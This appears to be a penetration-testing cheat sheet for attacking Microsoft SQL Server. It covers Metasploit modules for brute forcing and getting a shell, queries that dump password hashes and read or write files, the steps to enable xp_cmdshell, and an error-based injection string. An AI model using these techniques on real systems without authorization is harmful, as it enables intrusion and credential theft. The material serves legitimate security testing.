Accessing in Linux:
impacket-mssqlclient Administrator:password@$target -windows-auth
Default databases are:
- master
- tempdb
- model
- msdb
Enumeration
Determine version
nmap -p 445 --script ms-sql-info $target
Via metasploit
auxiliary/scanner/mssql/mssql_ping
Via Impacket
mssqlinstance.py $target
Login brute force
scanner/mssql/mssql_login
When an account is known, enumerate for vulnerabilities
auxiliary/admin/mssql/mssql_enum
Exploitation
Execute commands
auxiliary/admin/mssql/mssql_exec
Get shell
windows/mssql/mssql_payload
Tools
Command line
sqsh -U sa -P $password -S $target:1433
From PowerShell
sqlcmd -S $DBNAME -Q "use ADsync; select instance_id,keyset_id,entropy from mms_server_configuration"
Graphical
dbeaver
IntelliJ
Exploitation
Usage
After a command in a native MSSQL command line, we need to type \go to execute it.
1> SELECT VERSION(); 2> \go
This is not needed in some tools like Impackets mssqlclient.
Useful queries
Get version:
SELECT @@version;
Enumerating users
SELECT name FROM master.syslogins;
Enumerating users
SELECT * FROM master.sys.sysusers;
Password hashes from SQL users
SELECT name, password_hash FROM master.sys.sql_logins;
Enumerating databases
SELECT name FROM master.sysdatabases;
Current database
SELECT DB_NAME();
Get details from a specific database:
SELECT * FROM $dbname.information_schema.tables;
- Then, query like this:
SELECT * FROM $dbname.$schema.$tableName;
Read local files
CREATE TABLE ttt (line varchar(8000)); BULK INSERT ttt FROM 'C:\Windows\System32\License.rtf'; SELECT * FROM ttt; DELETE FROM ttt; ... DROP TABLE ttt;
Write files. This requires the bcp module. Enter it without parameters and execute the command to see if it is installed.
bcp "SELECT * FROM ttt" queryout C:\rrr.htm -c -Slocalhost -Usa -P$pass
Possible alternative
execute spWriteStringToFile 'This article ctddfd', 'C:\inetpub\wwwroot\','d.txt'
Execute command
EXEC xp_cmdshell 'dir'
- Note: Should xp_cmdshell not been activated, try to activate it:
SQL(SQLPLAYGROUND\Administrator dbo@master)>EXECUTE sp_configure 'show advanced options', 1;SQL (SQLPLAYGROUND\Administrator dbo@master)> RECONFIGURE;
SQL (SQLPLAYGROUND\Administrator dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1;
[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (SQLPLAYGROUND\Administrator dbo@master)> RECONFIGURE;
For INSERT queries
Try to get information within the convert statement:
' + convert(int,@@version) + '
Notes
Useful ressources with more queries:
Leave a Reply
You must be logged in to post a comment.